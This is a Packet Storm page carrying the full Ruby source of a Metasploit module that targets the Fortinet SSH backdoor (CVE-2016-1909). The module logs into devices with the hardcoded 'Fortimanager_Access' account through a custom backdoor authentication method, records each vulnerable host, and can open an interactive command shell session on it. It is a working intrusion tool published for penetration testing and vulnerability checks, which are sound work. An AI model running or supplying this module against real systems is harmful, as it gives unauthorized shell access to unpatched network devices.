exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Fortinet SSH Backdoor Scanner

Fortinet SSH Backdoor Scanner
Posted Sep 1, 2024
Authored by wvu, operator8203 | Site metasploit.com

This Metasploit module scans for the Fortinet SSH backdoor.

tags | exploit
advisories | CVE-2016-1909
SHA-256 | 29ba52cc385c46ba1a14c7c07c3609f6bc5abc288cf151e9e78dc8cd16d6f6ac

Fortinet SSH Backdoor Scanner

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Sessions::CreateSessionOptions
include Msf::Auxiliary::Report
include Msf::Auxiliary::ReportSummary

def initialize(info = {})
super(update_info(info,
'Name' => 'Fortinet SSH Backdoor Scanner',
'Description' => %q{
This module scans for the Fortinet SSH backdoor.
},
'Author' => [
'operator8203 <operator8203[at]runbox.com>', # PoC
'wvu' # Module
],
'References' => [
['CVE', '2016-1909'],
['EDB', '39224'],
['PACKETSTORM', '135225'],
['URL', 'https://seclists.org/fulldisclosure/2016/Jan/26'],
['URL', 'https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios']
],
'DisclosureDate' => '2016-01-09',
'License' => MSF_LICENSE
))

register_options([
Opt::RPORT(22)
])

register_advanced_options([
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
])
end

def run_host(ip)
factory = ssh_socket_factory

ssh_opts = ssh_client_defaults.merge({
port: rport,
# The auth method is converted into a class name for instantiation,
# so fortinet-backdoor here becomes FortinetBackdoor from the mixin
auth_methods: ['fortinet-backdoor']
})

ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(ip, 'Fortimanager_Access', ssh_opts)
end
rescue Net::SSH::Exception => e
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end

return unless ssh

print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")

version = ssh.transport.server_version.version

report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: version
)

shell = Net::SSH::CommandStream.new(ssh)

# XXX: Wait for CommandStream to log a channel request failure
sleep 0.1

if (e = shell.error)
print_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end

info = "#{self.name} (#{version})"

ds_merge = {
'USERNAME' => 'Fortimanager_Access'
}

if datastore['CreateSession']
start_session(self, info, ds_merge, false, shell.lsock)
end

# XXX: Ruby segfaults if we don't remove the SSH socket
remove_socket(ssh.transport.socket)
end

def rport
datastore['RPORT']
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close